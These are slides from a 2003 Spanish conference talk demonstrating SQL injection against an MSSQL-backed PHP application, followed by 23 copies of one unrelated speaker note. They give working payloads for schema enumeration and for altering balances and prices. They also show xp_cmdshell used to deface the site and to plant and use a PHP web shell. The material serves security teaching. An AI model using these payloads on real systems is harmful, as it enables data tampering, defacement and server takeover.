  • 12. SQL Injection 5' AND 1=0 union select TABLE_NAME from INFORMATION_SCHEMA.TABLES— Warning: mssql_query(): message: Todas las consultas de una instruccion SQL que contenga un operador UNION deben tener el mismo numero de expresiones en sus listas de destino. (severity 16) in c:apachehtdocsconsultasaldo.php on line 21 5‘ AND 1=0 union select TABLE_NAME," ",1 from INFORMATION_SCHEMA.TABLES-- © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 12
  • 13. SQL Injection © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 13
  • 14. SQL Injection 5‘ AND 1=0 union select TABLE_NAME, COLUMN_NAME,1 from INFORMATION_SCHEMA.COLUMNS © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 14
  • 15. SQL Injection 5‘ AND 1=0 union select TABLE_NAME, COLUMN_NAME,type from syscolumns, INFORMATION_SCHEMA.COLUMNS— © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 15
  • 16. SQL Injection 5‘ AND 1=0; update clientes set saldo=500000 where id=5555-- © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 16
  • 17. SQL Injection 5556'; update servicios set precio=1 where nombre_servicio= "llamada en espera"— © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 17
  • 18. SQL Injection Warning: mssql_query(): message: Linea 1: sintaxis incorrecta cerca de '—'. (severity 15) in c:apachehtdocscontratar.php on line 22 Warning: mssql_query(): message: Comilla no cerrada antes de la cadena de caracteres ';'. (severity 15) in c:apachehtdocscontratar.php on line 22 © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 18
  • 19. SQL Injection 5‘ AND 1=0; exec master..xp_cmdshell 'echo "<html> <body><img src=http://www.geocities.com/clan_de_vampiros/Caminante.gif> <br>hacked </body></html>" > c:apachehtdocsdeface.htm'— 5556’; exec master..xp_cmdshell ‘copy c:apachehtdocsdeface.htm c:apachehtdocsprincipal.htm’— © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 19
  • 20. SQL Injection © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 20
  • 21. SQL Injection shell.php: <html> <body><?php $comando = $_GET["comando"]; echo "$comando<br>"; $resultado = system ($comando); echo $resultado; ?> </body> </html> O también: passthru () © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 21
  • 22. SQL Injection 5556'; exec master..xp_cmdshell 'echo "<html><body> <?php $comando=$_GET["comando"];echo $comando; $resultado = system ($comando);echo $resultado;?> </body></html>" > c:apachehtdocsshell.php'-- http://127.0.0.1/shell.php?comando=dir.. © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 22
  • 23. SQL Injection http://127.0.0.1/shell.php?comando=type c:odbc.conf © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 23
  • 24. SQL Injection En php.ini: ; Magic quotes for incoming ; GET/POST/Cookie data. magic_quotes_gpc = On / Off Sin embargo, con campos numéricos esta protección es inútil © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 24
  • 25. SQL Injection FIST Conference October 2003 © Rafael San Miguel Carrasco Madrid, 25 October 2003

Notas del editor

  1. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  2. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  3. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  4. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  5. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  6. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  7. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  8. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  9. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  10. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  11. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  12. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  13. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  14. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  15. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  16. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  17. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  18. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  19. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  20. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  21. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  22. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  23. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.